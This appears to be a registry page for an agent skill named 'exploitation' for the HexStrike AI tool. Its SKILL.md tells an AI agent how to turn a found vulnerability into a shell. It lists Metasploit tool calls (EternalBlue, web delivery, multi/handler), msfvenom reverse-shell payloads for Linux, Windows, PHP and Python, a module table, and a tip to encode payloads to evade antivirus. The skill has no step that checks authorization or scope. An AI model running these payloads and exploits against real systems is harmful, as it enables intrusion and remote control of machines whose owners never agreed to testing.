curiouslearnerdev/online_tools-ai/exploitation

Name: exploitation
Author: curiouslearnerdev

Claude Code and agent skill by curiouslearnerdev/online_tools-ai

Trust tier 2

community

LLM review pending

By curiouslearnerdev
AI/ML
curiouslearnerdev/online_tools-ai
storage/hexstrike-ai-community-edition-master/skills/exploitation/SKILL.md
Updated 24 Oct 2026
Version 1.0.01 version recorded

Source check pending

Checking that the SKILL.md file is still in the repository.

Exploitation workflow using Metasploit, msfvenom payload generation, and Exploit-DB search — from vulnerability identification to shell

Install

npx vskill@latest install curiouslearnerdev/online_tools-ai/exploitation

SKILL.md

exploitation

Exploitation workflow for HexStrike AI. Use this skill when a user has identified a vulnerability and wants to exploit it, generate a payload, search for public exploits, or establish a reverse shell.

Workflow

Step 1 — Search for public exploits (exploit_db)

Before running Metasploit, check if a known public exploit exists:

run_tool(tool="exploit_db", query="<service> <version>")
 
# Examples
run_tool(tool="exploit_db", query="Apache 2.4.49 path traversal")
run_tool(tool="exploit_db", query="vsftpd 2.3.4 backdoor")
run_tool(tool="exploit_db", query="SMB ms17-010")

Step 2 — Find and run a Metasploit module

Search for the right module, then run it with the required options:

# Run a specific exploit module
run_tool(tool="metasploit", module="exploit/multi/handler",
         options={"PAYLOAD": "linux/x86/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})
 
# EternalBlue (MS17-010)
run_tool(tool="metasploit", module="exploit/windows/smb/ms17_010_eternalblue",
         options={"RHOSTS": "<target>",
                  "PAYLOAD": "windows/x64/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})
 
# Web delivery (stageless payload delivery)
run_tool(tool="metasploit", module="exploit/multi/script/web_delivery",
         options={"TARGET": "0",
                  "PAYLOAD": "python/meterpreter/reverse_tcp",
                  "LHOST": "<your_ip>",
                  "LPORT": "4444"})

Step 3 — Generate a standalone payload (msfvenom)

Use msfvenom when you need to deliver a payload outside of Metasploit (file upload, download + execute, etc.):

Linux reverse shell (ELF):

run_tool(tool="msfvenom",
         payload="linux/x86/meterpreter/reverse_tcp",
         format="elf",
         lhost="<your_ip>",
         lport="4444")

Windows reverse shell (EXE):

run_tool(tool="msfvenom",
         payload="windows/x64/meterpreter/reverse_tcp",
         format="exe",
         lhost="<your_ip>",
         lport="4444")

PHP web shell:

run_tool(tool="msfvenom",
         payload="php/meterpreter_reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Python stageless:

run_tool(tool="msfvenom",
         payload="python/meterpreter/reverse_tcp",
         format="raw",
         lhost="<your_ip>",
         lport="4444")

Common Metasploit modules by service

Service / CVE	Module path
MS17-010 EternalBlue	`exploit/windows/smb/ms17_010_eternalblue`
vsftpd 2.3.4 backdoor	`exploit/unix/ftp/vsftpd_234_backdoor`
Shellshock	`exploit/multi/http/apache_mod_cgi_bash_env_exec`
Heartbleed	`auxiliary/scanner/ssl/openssl_heartbleed`
Tomcat manager	`exploit/multi/http/tomcat_mgr_upload`
HTTP multi-handler	`exploit/multi/handler`
Web delivery	`exploit/multi/script/web_delivery`
Port scan auxiliary	`auxiliary/scanner/portscan/tcp`
SMB login check	`auxiliary/scanner/smb/smb_login`

Payload format reference

OS	Format	Payload example
Linux 64-bit	`elf`	`linux/x64/meterpreter/reverse_tcp`
Linux 32-bit	`elf`	`linux/x86/meterpreter/reverse_tcp`
Windows 64-bit	`exe`	`windows/x64/meterpreter/reverse_tcp`
Windows 32-bit	`exe`	`windows/meterpreter/reverse_tcp`
PHP	`raw`	`php/meterpreter_reverse_tcp`
Python	`raw`	`python/meterpreter/reverse_tcp`
Java WAR	`war`	`java/meterpreter/reverse_tcp`
ASP	`asp`	`windows/meterpreter/reverse_tcp`

Tips

Always start a listener (exploit/multi/handler) before delivering a payload.
Use stageless payloads (meterpreter_reverse_tcp not meterpreter/reverse_tcp) when the target has egress filtering — they are larger but self-contained.
Check exploit_db before writing custom exploits — public PoCs save time.
Encode payloads with -e x86/shikata_ga_nai via additional_args if AV is a concern.

HexStrike Tool Reference

Tool	Use case
`exploit_db`	Search public exploits (searchsploit)
`metasploit`	Run exploit/auxiliary/post modules
`msfvenom`	Generate standalone payloads

Security

Security scanPassed, 100 of 100Pattern checks on the skill's files.
Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

SKILL.md in the repositoryCheckingstorage/hexstrike-ai-community-edition-master/skills/exploitation/SKILL.md

Popularity

7-day trend score: 0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

Claude Code
Cursor
GitHub Copilot
Windsurf
Codex
Gemini CLI
Cline
Amp
Roo Code
Goose
Continue
Kilo Code
Junie
Trae
OpenHands
Qwen Code
AI Agent
Tabnine Chat
Sourcegraph Cody
Amazon Q
Firebase Genkit
Sweep
Devin
Phind
Mentat
Claude Desktop
Aider
GPT Pilot
Plandex
bolt.new
v0
Replit Agent
Anse
TypingMind
BetterChatGPT
LibreChat
Warp AI
Pieces
Fig AI

Embed badge

[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/curiouslearnerdev/online_tools-ai/exploitation/badge)](https://verified-skill.com/skills/curiouslearnerdev/online_tools-ai/exploitation)

Something wrong with this skill or its page? Tell us.